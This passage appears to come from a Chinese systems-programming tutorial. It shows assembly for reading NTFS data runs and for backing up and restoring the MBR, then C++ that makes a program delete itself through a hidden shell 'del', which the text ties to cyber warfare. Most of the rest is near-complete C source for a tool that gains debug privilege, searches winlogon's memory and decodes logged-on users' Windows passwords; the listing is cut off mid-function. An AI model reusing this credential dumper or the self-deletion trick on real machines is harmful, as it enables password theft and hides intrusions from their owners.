  447.                       offset RunFirstAddr+4,\      ;移动文件指针的高32位  
  448.                       FILE_BEGIN                     ;从文件(分区)开始处计算                   
  449.   
  450.          ReadWrite:  
  451.             .if     dword ptr [RunByte]>100000H ;如果运行大小大于1M字节  
  452.                  invoke    ReadFile,[hFile_Disk],\        ;读1兆字节的运行数据  
  453.                            offset DataBuffer,1024*1024,\  
  454.                            offset Readed,NULL                   
  455.                  invoke    WriteFile,[hFile],\          ;写1M数据到文件  
  456.                            offset DataBuffer,1024*1024,\        
  457.                            offset Readed,NULL  
  458.                  sub    dword ptr [RunByte],1024*1024  ;RunByte减1M字节  
  459.                  sub    dword ptr [FileSize1],1024*1024 ;文件大小减1M字节  
  460.                  jmp    ReadWrite                      ;继续读数据写进文件  
  461.             .elseif dword ptr [RunByte]<=100000H ;如果运行大小小于或等于1M字节  
  462.                  invoke    ReadFile,[hFile_Disk],\        ;读运行大小字节的运行数据  
  463.                            offset DataBuffer,[RunByte],\  
  464.                            offset Readed,NULL                   
  465.                  invoke    WriteFile,[hFile],\          ;写运行最后剩下的实际文件大小字节数据到文件  
  466.                            offset DataBuffer,dword ptr [FileSize1],\; [FileSize1]总是小于[RunByte]的    
  467.                            offset Readed,NULL  
  468.                  mov       al,byte ptr [CInfo1]  
  469.                  movzx     ecx,al  
  470.                  add       edi,ecx  
  471.                  mov       al,byte ptr [CInfo2]  
  472.                  movzx     ecx,al  
  473.                  add       edi,ecx  
  474.                  inc       edi               ;这样edi就指向了下一个运行列表的开始  
  475.                  cmp       byte ptr [edi],0 ;有下一个运行列表吗?  
  476.                  jnz       Recover    ;不是0表示还有下一个运行,继续处理下一个运行  
  477.                  invoke    CloseHandle,[hFile] ;没有下一个运行则关闭文件  
  478.                  invoke    SetFilePointer,[hFile_Disk],\  ;还原磁盘指针  
  479.                            dword ptr [MFTFirstOffset],\   ;移动文件指针的低32位  
  480.                            offset MFTFirstOffset+4,\      ;移动文件指针的高32位  
  481.                            FILE_BEGIN                     ;从文件(分区)开始处计算  
  482.                     
  483.             .endif  
  484.           ExitReadWrite:  
  485.             mov    dword ptr [ResidentFlag],1 ;给常驻与非常驻标志置1,表示非常驻   
  486.             jmp    ExitProc     
  487.         .endif  
  488.  .elseif  dword ptr [edi]==0ffffffffh ;是属性结束的话,就退出  
  489.     jmp   ExitProc  
  490.  .else                                ;是其他属性的话  
  491.   Next:  
  492.     mov   edi,dword ptr [EdiOffset]   ;将属性头开始偏移送回edi  
  493.     add   edi,dword ptr [edi+4h]      ;edi为下一个属性的偏移(属性头04~07为该属性的长度)  
  494.     jmp   FindNext                    ;继续找下一个属性  
  495.  .endif  
  496.   ExitProc:  
  497.     pop  edi                          ;将该MFT的起始偏移写回edi  
  498.     ret  
  499. ReadData  endp  
  500. ;*******************************************************  
  501. RunInfo   proc      
  502.     ;获取文件起始字节偏移,和该运行占有的字节数  
  503.     mov    dword ptr [Edi80],edi    ;将属性运行列表偏移保存到Edi80   
  504.     mov    al,byte ptr [edi]        ;把运行列表的第一个字节送al,其高  
  505.                                             ;4位表示多少运行列表中多少个字节为起始簇  
  506.                                             ;低4位表示多少个字节表示簇大小  
  507.     push   eax  
  508.     mov    cl,4  
  509.     shr    al,cl                    ;将al逻辑右移4位,结果al为该运行起始的簇号所占字节数  
  510.     mov    byte ptr [CInfo1],al   
  511.     pop    eax  
  512.     and    al,0fh                   ;清al高4位后al为该运行的簇数占有的字节  
  513.     mov    byte ptr [CInfo2],al   
  514.     ;计算运行的总共的字节数  
  515.     push   edi  
  516.     mov    esi,edi  
  517.     inc    esi                      ;源地址为运行所占簇数偏移  
  518.     mov    edi,offset RunCN         ;目标地址  
  519.     xor    ecx,ecx  
  520.     mov    cl,byte ptr [CInfo2]  
  521.     rep    movsb                    ;将运行簇数保存到RunCN处  
  522.     mov    eax,dword ptr [RunCN]     ;将运行簇数送eax          
  523.     mov    ebx,dword ptr [ByeofOneC] ;将每簇字节数送ebx  
  524.     mul    ebx                        
  525.     mov    dword ptr [RunByte],eax  ;该运行所占字节数偏移送RunByte处  
  526.     pop    edi  
  527.     ;计算运行的起始偏移字节  
  528.     push   edi  
  529.     mov    esi,edi  
  530.     inc    esi  
  531.     xor    ecx,ecx  
  532.     mov    cl,byte ptr [CInfo2]  
  533.     add    esi,ecx                 ;esi指向运行起始簇偏移(源地址)  
  534.     mov    edi,offset RunC         ;目标地址  
  535.     mov    cl,byte ptr [CInfo1]    ;循环次数为运行列表中起始簇所占字节数  
  536.     rep    movsb                   ;将运行的起始簇号保存到RunC处  
  537.     mov    eax,dword ptr [RunC]     ;将相对运行起始簇号送eax  
  538.     add    dword ptr [RunC2],eax    ;计算绝对起始簇号  
  539.     mov    eax, dword ptr [RunC2]    ;绝对起始簇号送eax     
  540.     mov    ebx,dword ptr [ByeofOneC] ;将每簇字节数送ebx  
  541.     mul    ebx                        
  542.     mov    dword ptr [RunFirstAddr],eax  
  543.     mov    dword ptr [RunFirstAddr+4],edx ;保存运行起始偏移到RunFirstAddr处  
  544.     pop    edi  
  545.   
  546.     ret  
  547.   
  548. RunInfo   endp  
  549. ;*******************************************************  
  550. start:  
  551.     invoke    GetModuleHandle,NULL    ;得到模块句柄(NULL为本模块)  
  552.     mov       hInstance,eax           ;保存模块句柄  
  553.     invoke    DialogBoxParam,hInstance,\ ;创建模块对话框,从hInstance指定模块装入  
  554.               DLG_MAIN,NULL,\            ;装入DLG_MAIN参数指定的对话框,父对话框为NULL  
  555.               offset _ProcDlgMain,NULL  ;过程地址为_ProcDlgMain的首地址,  
  556.                                         ;当作WM_INITDIALOG消息的lParam传给过程对话框定义为NULL(未定义)  
  557.     invoke    ExitProcess,NULL          ;退出程序  
  558. end    start  

(3)内联汇编实现主引导区备份与恢复

硬盘的第一个扇区被保留为主引导扇区,它位于整个硬盘的0磁道0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。至于分区表,很多人都知道,以80H或00H为开始标志,以55AAH为结束标志,共64字节,位于本扇区的最末端。

 

= 硬盘主引导记录(MBR) + 硬盘分区表(DPT)

  用FDISK 进行硬盘分区时产生的, 它属于整个硬盘而不属于某个独立的DOS 分区, 是硬盘正确引导和使用的必要条件.

  物理位置:0柱面0磁头1扇区(Cylinder 0, Head 0, Sector 1)

  系统扇区(System Sectors): 0C-0H-2S,0C-0H-63S, 共 62 Sectors

  大小:512字节

  其中:MBR 446字节(0000--01BD),DPT 64字节(01BE--01FD),结束标志2字节(55 AA)

  功能:MBR通过检查DPT分区信息引导系统跳转至DBR

  详解: (DEBUG -A: MOV AX,0201 MOV BX,0200 MOV CX,0001 MOV DX,0080 INT 13)

  000H--08AH MBR启动程序(寻找开机分区)

  08BH--0D9H MBR启动字符串

  0DAH--1BCH 保留( "0 ")

  1BEH--1FDH 硬盘分区表

  1FEH--1FFH 结束标志(55AA)

 

 

 

C++内联汇编

在C++代码中插入__asm {}即可

主引导区备份如下

  1. DATA SEGMENT  
  2.          
  3.          D2 DB 'A:\BOOT.DAT',00H  
  4. DATA ENDS  
  5.   
  6. CODE SEGMENT  
  7.      ASSUME CS:CODE,DS:DATA,ES:DATA  
  8. START:  
  9.           MOV   AX,DATA  
  10.           MOV   DS,AX  
  11.           MOV   ES,AX  
  12.           MOV   AH,09H                                
  13.           MOV   DX,OFFSET D1                             
  14.           INT   21H              ;显示字符串D1  
  15.           MOV   AX,0201H                              
  16.           MOV   BX,0700H                             
  17.           MOV   CX,0001H                             
  18.           MOV   DX,0080H                              
  19.           INT   13H              ;读MBR区到内存                                     
  20.           MOV   CX,0020H                              
  21.           MOV   DX, OFFSET D2                           
  22.           MOV   AH,3CH                              
  23.           INT   21H              ;建立文件A:\BOOT.DAT                 
  24.           MOV   AL,01H                                
  25.           MOV   DX, OFFSET D2                              
  26.           MOV   AH,3DH                             
  27.           INT   21H              ;打开文件A:\BOOT.DAT(用于写)              
  28.           MOV   BX,AX                                
  29.           MOV   DX,0700H                              
  30.           MOV   CX,0200H                             
  31.           MOV   AH,40H                             
  32.           INT   21H              ;将内存中的MBR区写入文件中                 
  33.           MOV   AH,4CH  
  34.           INT   21H              ;退出程序  
  35. CODE ENDS  
  36.      END START  
DATA SEGMENT
       
         D2 DB 'A:\BOOT.DAT',00H
DATA ENDS

CODE SEGMENT
     ASSUME CS:CODE,DS:DATA,ES:DATA
START:
          MOV   AX,DATA
          MOV   DS,AX
          MOV   ES,AX
          MOV	AH,09H                              
          MOV	DX,OFFSET D1                           
          INT	21H              ;显示字符串D1
          MOV	AX,0201H                            
          MOV	BX,0700H                           
          MOV	CX,0001H                           
          MOV	DX,0080H                            
          INT	13H              ;读MBR区到内存                                   
          MOV	CX,0020H                            
          MOV	DX, OFFSET D2                         
          MOV	AH,3CH                            
          INT	21H              ;建立文件A:\BOOT.DAT               
          MOV	AL,01H                              
          MOV	DX, OFFSET D2                            
          MOV	AH,3DH                           
          INT	21H              ;打开文件A:\BOOT.DAT(用于写)            
          MOV	BX,AX                              
          MOV	DX,0700H                            
          MOV	CX,0200H                           
          MOV	AH,40H                           
          INT	21H              ;将内存中的MBR区写入文件中               
          MOV   AH,4CH
          INT   21H              ;退出程序
CODE ENDS
     END START


 

主引导区恢复如下

  1. DATA SEGMENT  
  2.         
  3.        d2 db "        !!!警告!!!",0dh,0ah  
  4.           db "    本程序仅用于将MBR1.EXE程序在本机硬盘备份的主引导区A:\BOOT.DAT文件(该文件必须"  
  5.           db "在A盘根目录上)恢复到本机硬盘的主引导区,否则硬盘分区会丢失,不听警告,后果自负!   "  
  6.           db "                  确认要执行么?(Y/N)",0dh,0ah,"{1}quot;  
  7.        d3 db "    A:\BOOT.DAT文件没找到!",0dh,0ah,"{1}quot;  
  8.        d4 db "A:\BOOT.DAT",00H        
  9. DATA ENDS  
  10.   
  11. CODE SEGMENT  
  12.      ASSUME CS:CODE,DS:DATA,ES:DATA  
  13. START:  
  14.   
  15.           MOV   AX,DATA  
  16.           MOV   DS,AX  
  17.           MOV   ES,AX  
  18.           MOV   AH,09H                                
  19.           MOV   DX,OFFSET D1                             
  20.           INT   21H           ;显示字符串d1                      
  21.           MOV   AH,00H                                
  22.           INT   16H           ;等待用户按任意键键继续                         
  23.           MOV   AH,07H                                
  24.           MOV   AL,00H                               
  25.           MOV   BH,0A4h                               
  26.           MOV   CX,0000H                              
  27.           MOV   DX,184FH                              
  28.           INT   10H           ;设置显示方式(背景绿,前景红)                       
  29.           MOV   AH,09H                                
  30.           MOV   DX,OFFSET D2                          
  31.           INT   21H           ;显示字符串d2(因为此程序有一定的危险性,所以  
  32.                               ;警告一定要显眼)                        
  33. READ_KEYBOARD:  
  34.           MOV   AH,00H                                
  35.           INT   16H                                   
  36.           OR    AL,20H                                
  37.           CMP   AL,79H                                
  38.           JZ    WRITE          ;是Y/y的话就跳转到写MBR区处                    
  39.           CMP   AL,6EH                                
  40.           JZ    EXIT           ;是N/n的话跳转到退出处                      
  41.           JMP   READ_KEYBOARD  ;是其他键就重新读键                     
  42.                                
  43. EXIT:  
  44.           MOV   AH,07H                                
  45.           MOV   AL,00H                                
  46.           MOV   BH,07H                                
  47.           MOV   CX,0000H                              
  48.           MOV   DX,184FH                              
  49.           INT   10H            ;清屏                       
  50.           MOV   AH,4CH                                
  51.           INT   21H            ;退出程序                       
  52.                                  
  53. WRITE:  
  54.           MOV   AH,3DH                                
  55.           MOV   DX,OFFSET D4;                              
  56.           MOV   AL,00H                                
  57.           INT   21H            ;打开A:\BOOT.DAT                       
  58.           JB    ERROR                                 
  59.           PUSH  AX                                   
  60.           MOV   AH,3FH                                
  61.           MOV   DX,7000H                              
  62.           MOV   CX,0200H                              
  63.           POP   BX                                   
  64.           INT   21H            ;将A:\BOOT.DAT读入内存                      
  65.           MOV   AH,03H                                
  66.           MOV   AL,01H                                
  67.           MOV   BX,7000H                              
  68.           MOV   CX,0001H                              
  69.           MOV   DX,0080H                              
  70.           INT   13H            ;写入硬盘MBR区                      
  71.           JMP   EXIT           ;跳转到退出程序处                     
  72.                                                            
  73. ERROR:  
  74.           MOV   AH,09H                                
  75.           MOV   DX,OFFSET D3   ;显示出错信息                             
  76.           INT   21H                                   
  77.           MOV   AH,4CH                                
  78.           INT   21H            ;退出程序  
  79. CODE ENDS  
  80. END START    

(4)实现文件自我删除

文件自我删除是一个很有必要的功能,尤其在国家之间的网络战争。

 

 

 

  1. #include "stdafx.h"   
  2. #include <sys/stat.h>  //加入状态显示头文件.   
  3.   
  4. BOOL SelfDel1()  
  5. {  
  6.     SHELLEXECUTEINFO sei;  
  7.     TCHAR szModule [MAX_PATH],szComspec[MAX_PATH],szParams [MAX_PATH];  
  8.       
  9.     // 获得文件名.   
  10.     if((GetModuleFileName(0,szModule,MAX_PATH)!=0) &&  
  11.         (GetShortPathName(szModule,szModule,MAX_PATH)!=0) &&  
  12.         (GetEnvironmentVariable("COMSPEC",szComspec,MAX_PATH)!=0))  
  13.     {  
  14.         // 设置命令参数.   
  15.         lstrcpy(szParams,"/c del ");  
  16.         lstrcat(szParams, szModule);  
  17.         lstrcat(szParams, " > nul");  
  18.           
  19.         // 设置结构成员.   
  20.         sei.cbSize = sizeof(sei);  
  21.         sei.hwnd = 0;  
  22.         sei.lpVerb = "Open";  
  23.         sei.lpFile = szComspec;  
  24.         sei.lpParameters = szParams;  
  25.         sei.lpDirectory = 0;  
  26.         sei.nShow = SW_HIDE;  
  27.         sei.fMask = SEE_MASK_NOCLOSEPROCESS;  
  28.           
  29.         // 执行shell命令.   
  30.         if(ShellExecuteEx(&sei))  
  31.         {  
  32.             // 设置命令行进程的执行级别为空闲执行,使本程序有足够的时间从内存中退出.    
  33.             SetPriorityClass(sei.hProcess,IDLE_PRIORITY_CLASS);  
  34.             SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);  
  35.             SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);  
  36.               
  37.            // 通知Windows资源浏览器,本程序文件已经被删除.   
  38.             SHChangeNotify(SHCNE_DELETE,SHCNF_PATH,szModule,0);  
  39.             return TRUE;  
  40.         }  
  41.     }  
  42.     return FALSE;  
  43. }   
  44.   
  45. BOOL SelfDel2()  
  46. {  
  47.     CStdioFile  file;  
  48.     CFileException fileEx;  
  49.     TCHAR szDir[MAX_PATH];  
  50.     TCHAR szModule[MAX_PATH];  
  51.   
  52.     GetModuleFileName(0, szModule, sizeof(szModule));   // 获得应用程序名.   
  53.     GetCurrentDirectory(MAX_PATH, szDir);               // 获得文件的当前目录.   
  54.   
  55.     CString strFilePath=CString(szDir)+"tempDel.bat";   // 临时批处理文件名.   
  56.   
  57.     if(!file.Open(strFilePath,CFile::modeWrite |   
  58.         CFile::typeText | CFile::modeCreate,&fileEx))  
  59.     {  
  60.         #ifdef _DEBUG   
  61.         afxDump << "The file could not be opened " << strFilePath<<"\n";  
  62.         afxDump << "Cause :"<<fileEx.m_cause << "\n";  
  63.         #endif   
  64.         return FALSE;  
  65.     }  
  66.       
  67.     CString strCmdLine1,strCmdLine2;  
  68.     strCmdLine1.Format("del %s\n",szModule);  
  69.     strCmdLine2.Format("del %%0\n");  
  70.   
  71.     file.WriteString(strCmdLine1);                    // 写删除EXE的命令行.   
  72.     file.WriteString(strCmdLine2);                    // 写删除BAT的命令行.   
  73.     file.Close();  
  74.       
  75.     WinExec(strFilePath,SW_HIDE);                     // 执行自行删除操作.   
  76.   
  77.     return TRUE;  
  78. }  
  79.   
  80. void main()  
  81. {  
  82.     SelfDel1();  
  83. }  

(5)获取windows登陆账户密码

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出。

因为登陆的域名和用户名是明文存储在winlogon进程里的,而Password是限定了查找本进程用户的密码
<167-174:    GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);
    GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400);
>,然后到winlogon进程的空间中查找UserDomain和UserName < 590:// 在WinLogon的内存空间中寻找UserName和DomainName的字符串
if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
&&
(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
> ,找到后就查后边的加密口令。

其实只要你自己指定用户名和winlogon进程去查找就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以找到。

1. pulist,找到系统里登陆的域名和用户名,及winlogon进程id
2. 然后给每个winlogon进程id查找指定的用户就行了。

example:

C:\Documents and Settings\bingle>pulist
Process           PID  User
Idle              0
System            8
smss.exe          164  NT AUTHORITY\SYSTEM
csrss.exe         192  NT AUTHORITY\SYSTEM
winlogon.exe      188  NT AUTHORITY\SYSTEM
wins.exe          1212 NT AUTHORITY\SYSTEM
Explorer.exe      388  TEST-2KSERVER\Administrator
internat.exe      1828 TEST-2KSERVER\Administrator
conime.exe        1868 TEST-2KSERVER\Administrator
msiexec.exe       1904 NT AUTHORITY\SYSTEM
tlntsvr.exe       1048 NT AUTHORITY\SYSTEM
taskmgr.exe       1752 TEST-2KSERVER\Administrator
csrss.exe         2056 NT AUTHORITY\SYSTEM
winlogon.exe      2416 NT AUTHORITY\SYSTEM
rdpclip.exe       2448 TEST-2KSERVER\clovea
Explorer.exe      2408 TEST-2KSERVER\clovea
internat.exe      1480 TEST-2KSERVER\clovea
cmd.exe           2508 TEST-2KSERVER\Administrator
ntshell.exe       368  TEST-2KSERVER\Administrator
ntshell.exe       1548 TEST-2KSERVER\Administrator
ntshell.exe       1504 TEST-2KSERVER\Administrator
csrss.exe         1088 NT AUTHORITY\SYSTEM
winlogon.exe      1876 NT AUTHORITY\SYSTEM
rdpclip.exe       1680 TEST-2KSERVER\bingle
Explorer.exe      2244 TEST-2KSERVER\bingle
conime.exe        2288 TEST-2KSERVER\bingle
internat.exe      1592 TEST-2KSERVER\bingle
cmd.exe           1692 TEST-2KSERVER\bingle
mdm.exe           2476 TEST-2KSERVER\bingle
taskmgr.exe       752  TEST-2KSERVER\bingle
pulist.exe        2532 TEST-2KSERVER\bingle

 

 

 

具体实现代码如下

 

 

  1. #include <windows.h>    
  2. #include <tchar.h>    
  3. #include <stdio.h>    
  4. #include <stdlib.h>    
  5.   
  6. typedef struct _UNICODE_STRING   
  7. {   
  8.     USHORT Length;   
  9.     USHORT MaximumLength;   
  10.     PWSTR Buffer;   
  11. } UNICODE_STRING, *PUNICODE_STRING;   
  12.   
  13. // Undocumented typedef's    
  14. typedef struct _QUERY_SYSTEM_INFORMATION   
  15. {   
  16.     DWORD GrantedAccess;   
  17.     DWORD PID;   
  18.     WORD HandleType;   
  19.     WORD HandleId;   
  20.     DWORD Handle;   
  21. } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;   
  22. typedef struct _PROCESS_INFO_HEADER   
  23. {   
  24.     DWORD Count;   
  25.     DWORD Unk04;   
  26.     DWORD Unk08;   
  27. } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;   
  28. typedef struct _PROCESS_INFO   
  29. {   
  30.     DWORD LoadAddress;   
  31.     DWORD Size;   
  32.     DWORD Unk08;   
  33.     DWORD Enumerator;   
  34.     DWORD Unk10;   
  35.     char Name [0x108];   
  36. } PROCESS_INFO, *PPROCESS_INFO;   
  37. typedef struct _ENCODED_PASSWORD_INFO   
  38. {   
  39.     DWORD HashByte;   
  40.     DWORD Unk04;   
  41.     DWORD Unk08;   
  42.     DWORD Unk0C;   
  43.     FILETIME LoggedOn;   
  44.     DWORD Unk18;   
  45.     DWORD Unk1C;   
  46.     DWORD Unk20;   
  47.     DWORD Unk24;   
  48.     DWORD Unk28;   
  49.     UNICODE_STRING EncodedPassword;   
  50. } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;   
  51.   
  52. typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORDPVOIDDWORD, PDWORD);   
  53. typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORDDWORD);   
  54. typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORDDWORDPVOID);   
  55. typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);   
  56. typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);   
  57.   
  58. // Private Prototypes    
  59. BOOL IsWinNT (void);   
  60. BOOL IsWin2K (void);   
  61. BOOL AddDebugPrivilege (void);   
  62. DWORD FindWinLogon (void);   
  63. BOOL LocatePasswordPageWinNT (DWORD, PDWORD);   
  64. BOOL LocatePasswordPageWin2K (DWORD, PDWORD);   
  65. void DisplayPasswordWinNT (void);   
  66. void DisplayPasswordWin2K (void);   
  67.   
  68. // Global Variables    
  69. PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;   
  70. PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;   
  71. PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;   
  72. PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;   
  73. PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;   
  74.   
  75. DWORD PasswordLength = 0;   
  76. PVOID RealPasswordP = NULL;   
  77. PVOID PasswordP = NULL;   
  78. DWORD HashByte = 0;  
  79. wchar_t UserName [0x400];   
  80. wchar_t UserDomain [0x400];   
  81.   
  82. int __cdecl main( int argc, char* argv[] )   
  83. {   
  84.     printf( "\n\t To Find Password in the Winlogon process\n" );  
  85.     printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] );   
  86.   
  87.     if ((!IsWinNT ())   
  88.             &&   
  89.         (!IsWin2K ()))   
  90.     {   
  91.         printf ("Windows NT or Windows 2000 are required.\n");   
  92.         return (0);   
  93.     }   
  94.   
  95.     // Add debug privilege to PasswordReminder -    
  96.     // this is needed for the search for Winlogon.    
  97.     // 增加PasswordReminder的权限    
  98.     // 使得PasswordReminder可以打开并调试Winlogon进程    
  99.     if (!AddDebugPrivilege ())   
  100.     {   
  101.         printf   
  102.             ("Unable to add debug privilege.\n");   
  103.         return (0);   
  104.     }   
  105.     printf ("The debug privilege has been added to PasswordReminder.\n");   
  106.   
  107.     // 获得几个未公开API的入口地址    
  108.     HINSTANCE hNtDll =   
  109.         LoadLibrary   
  110.             ("NTDLL.DLL");   
  111.     pfnNtQuerySystemInformation =   
  112.         (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress   
  113.             (hNtDll,   
  114.             "NtQuerySystemInformation");   
  115.     pfnRtlCreateQueryDebugBuffer =   
  116.         (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress   
  117.             (hNtDll,   
  118.             "RtlCreateQueryDebugBuffer");   
  119.     pfnRtlQueryProcessDebugInformation =   
  120.         (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress   
  121.             (hNtDll,   
  122.             "RtlQueryProcessDebugInformation");   
  123.     pfnRtlDestroyQueryDebugBuffer =   
  124.         (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress   
  125.             (hNtDll,   
  126.             "RtlDestroyQueryDebugBuffer");   
  127.     pfnRtlRunDecodeUnicodeString =   
  128.         (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress   
  129.             (hNtDll,   
  130.             "RtlRunDecodeUnicodeString");   
  131.   
  132.     // Locate WinLogon's PID - need debug privilege and admin rights.    
  133.     // 获得Winlogon进程的PID    
  134.     // 这里作者使用了几个Native API,其实使用PSAPI一样可以    
  135.     DWORD WinLogonPID =   
  136.         argc > 3 ? atoi( argv[3] ) : FindWinLogon () ;   
  137.     if (WinLogonPID == 0)   
  138.     {   
  139.         printf   
  140.             ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");   
  141.         printf   
  142.             ("PasswordReminder is unable to find the password in memory.\n");   
  143.         FreeLibrary (hNtDll);   
  144.         return (0);   
  145.     }   
  146.   
  147.     printf("The WinLogon process id is %d (0x%8.8lx).\n",   
  148.             WinLogonPID, WinLogonPID);   
  149.   
  150.     // Set values to check memory block against.    
  151.     // 初始化几个和用户账号相关的变量    
  152.     memset(UserName, 0, sizeof (UserName));   
  153.     memset(UserDomain, 0, sizeof (UserDomain));   
  154.     if( argc > 2 )  
  155.     {     
  156.         mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) );  
  157.         mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) );  
  158.     }else  
  159.     {  
  160.         GetEnvironmentVariableW(L"USERNAME", UserName, 0x400);   
  161.         GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400);   
  162.     }  
  163.     printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID );  
  164.   
  165.     // Locate the block of memory containing    
  166.     // the password in WinLogon's memory space.    
  167.     // 在Winlogon进程中定位包含Password的内存块    
  168.     BOOL FoundPasswordPage = FALSE;   
  169.     if (IsWin2K ())   
  170.         FoundPasswordPage =   
  171.             LocatePasswordPageWin2K   
  172.                 (WinLogonPID,   
  173.                 &PasswordLength);   
  174.     else   
  175.         FoundPasswordPage =   
  176.             LocatePasswordPageWinNT   
  177.                 (WinLogonPID,   
  178.                 &PasswordLength);   
  179.   
  180.     if (FoundPasswordPage)   
  181.     {   
  182.         if (PasswordLength == 0)   
  183.         {   
  184.             printf   
  185.                 ("The logon information is: %S/%S.\n",   
  186.                 UserDomain,   
  187.                 UserName);   
  188.             printf   
  189.                 ("There is no password.\n");   
  190.         }   
  191.         else   
  192.         {   
  193.             printf   
  194.                 ("The encoded password is found at 0x%8.8lx and has a length of %d.\n",   
  195.                 RealPasswordP,   
  196.                 PasswordLength);   
  197.             // Decode the password string.    
  198.             if (IsWin2K ())   
  199.                 DisplayPasswordWin2K ();   
  200.             else   
  201.                 DisplayPasswordWinNT ();   
  202.         }   
  203.     }   
  204.     else   
  205.         printf   
  206.             ("PasswordReminder is unable to find the password in memory.\n");   
  207.   
  208.     FreeLibrary   
  209.         (hNtDll);   
  210.     return (0);   
  211. // main    
  212.   
  213. //    
  214. // IsWinNT函数用来判断操作系统是否WINNT    
  215. //    
  216. BOOL   
  217.     IsWinNT   
  218.         (void)   
  219. {   
  220.     OSVERSIONINFO OSVersionInfo;   
  221.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
  222.     if (GetVersionEx   
  223.             (&OSVersionInfo))   
  224.         return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);   
  225.     else   
  226.         return (FALSE);   
  227. // IsWinNT    
  228.   
  229.   
  230. //    
  231. // IsWin2K函数用来判断操作系统是否Win2K    
  232. //    
  233. BOOL   
  234.     IsWin2K   
  235.         (void)   
  236. {   
  237.     OSVERSIONINFO OSVersionInfo;   
  238.     OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);   
  239.     if (GetVersionEx   
  240.             (&OSVersionInfo))   
  241.         return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)   
  242.                     &&   
  243.                 (OSVersionInfo.dwMajorVersion == 5));   
  244.     else   
  245.         return (FALSE);   
  246. // IsWin2K    
  247.   
  248.   
  249. //    
  250. // AddDebugPrivilege函数用来申请调试Winlogon进程的特权    
  251. //    
  252. BOOL   
  253.     AddDebugPrivilege   
  254.         (void)   
  255. {   
  256.     HANDLE Token;   
  257.     TOKEN_PRIVILEGES TokenPrivileges, PreviousState;   
  258.     DWORD ReturnLength = 0;   
  259.     if (OpenProcessToken   
  260.             (GetCurrentProcess (),   
  261.             TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,   
  262.             &Token))   
  263.         if (LookupPrivilegeValue   
  264.                 (NULL,   
  265.                 "SeDebugPrivilege",   
  266.                 &TokenPrivileges.Privileges[0].Luid))   
  267.         {   
  268.             TokenPrivileges.PrivilegeCount = 1;   
  269.             TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;   
  270.             return   
  271.                 (AdjustTokenPrivileges   
  272.                     (Token,   
  273.                     FALSE,   
  274.                     &TokenPrivileges,   
  275.                     sizeof (TOKEN_PRIVILEGES),   
  276.                     &PreviousState,   
  277.                     &ReturnLength));   
  278.         }   
  279.     return (FALSE);   
  280. // AddDebugPrivilege    
  281.   
  282.   
  283. //    
  284. // Note that the following code eliminates the need    
  285. // for PSAPI.DLL as part of the executable.    
  286. // FindWinLogon函数用来寻找WinLogon进程    
  287. // 由于作者使用的是Native API,因此不需要PSAPI的支持    
  288. //    
  289. DWORD   
  290.     FindWinLogon   
  291.         (void)   
  292. {   
  293. #define INITIAL_ALLOCATION 0x100    
  294.     DWORD rc = 0;   
  295.     DWORD SizeNeeded = 0;   
  296.     PVOID InfoP =   
  297.         HeapAlloc   
  298.             (GetProcessHeap (),   
  299.             HEAP_ZERO_MEMORY,   
  300.             INITIAL_ALLOCATION);   
  301.     // Find how much memory is required.    
  302.     pfnNtQuerySystemInformation   
  303.         (0x10,   
  304.         InfoP,   
  305.         INITIAL_ALLOCATION,   
  306.         &SizeNeeded);   
  307.     HeapFree   
  308.         (GetProcessHeap (),   
  309.         0,   
  310.         InfoP);   
  311.     // Now, allocate the proper amount of memory.    
  312.     InfoP =   
  313.         HeapAlloc   
  314.             (GetProcessHeap (),   
  315.             HEAP_ZERO_MEMORY,   
  316.             SizeNeeded);   
  317.     DWORD SizeWritten = SizeNeeded;   
  318.     if (pfnNtQuerySystemInformation   
  319.             (0x10,   
